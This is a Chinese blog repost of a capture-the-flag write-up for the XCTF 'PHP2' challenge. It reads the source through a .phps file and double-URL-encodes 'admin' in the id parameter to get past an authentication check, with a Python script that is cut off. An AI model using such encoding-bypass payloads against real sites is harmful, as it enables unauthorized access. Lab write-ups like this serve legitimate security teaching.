博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
CTF_EXP02:XCTF PHP2
阅读量:2035 次
发布时间:2019-04-28

本文共 1011 字,大约阅读时间需要 3 分钟。

CTF_EXP02: XCTF PHP2

题目:

启动靶机,打开环境:

在这里插入图片描述
你能浏览这个网站嘛?

首先访问index.php,可以正常访问,尝试查看index.phps文件(.phps文件就是php的源代码文件,通常用于提供给访问者查看php代码):

在这里插入图片描述
得到网页的源代码,分析代码:
需要传入变量id的值,不能等于admin,经过URL解码后等于admin将输出key,因为服务器会进行一次URL解码,所以我们将admin进行二次编码:
在这里插入图片描述
在这里插入图片描述
得到最后的传输值为:

?id=%2561%2564%256d%2569%256e

传输数据得到flag

在这里插入图片描述

EXP如下:

# -*- coding:utf-8 -*-# name: Meng# mail: 614886708@qq.com# ctf_exp02: XCTF PHP2import requestsimport reclass PostUrl:    def __init__(self, url_input):        # 对输入的url做补全        if url_input.endswith('index.php') or url_input.endswith('index.php/'):            self.url = url_input        elif url_input.endswith('/'):            self.url = url_input + 'index.php'        else:            self.url = url_input + '/index.php'        self.data = {
'id': '%61%64%6d%69%6e'} # 需要传递的数据 self.flag = '' # 最终flag def get_flag(self): r = requests.get(self.url) # 判断返回页面内容 if 'Can you anthenticate to this website?' in r.text: r = requests.get(self.url + 's') if '

输入题目链接,得到flag:

在这里插入图片描述

转载地址:http://qcraf.baihongyu.com/

你可能感兴趣的文章
Git的安装和使用
查看>>
Git常用命令
查看>>
MySQL常见问题
查看>>
Spring Boot 入门之缓存和 NoSQL 篇(四)
查看>>
系统结构的发展以及为什么要使用分布式系统
查看>>
分布式系统发展史
查看>>
基于Docker的CaaS容器云平台架构设计
查看>>
几张图帮你理解 docker 基本原理及快速入门
查看>>
理解Docker架构
查看>>
基于Docker和Kubernetes的最佳架构实践
查看>>
Kubernetes实现SSO登录 (二)
查看>>
从 Spring Cloud 看一个微服务框架的「五脏六腑」
查看>>
基于 Docker 的微服务架构实践
查看>>
三小时学会Kubernetes:容器编排详细指南
查看>>
使用Docker高效搭建开发环境
查看>>
如何把应用转移到Kubernetes
查看>>
探索容器安全性:概述
查看>>
微服务下的数据架构
查看>>
Kubernetes网络安全之访问控制技术实践
查看>>
Nginx 容器教程
查看>>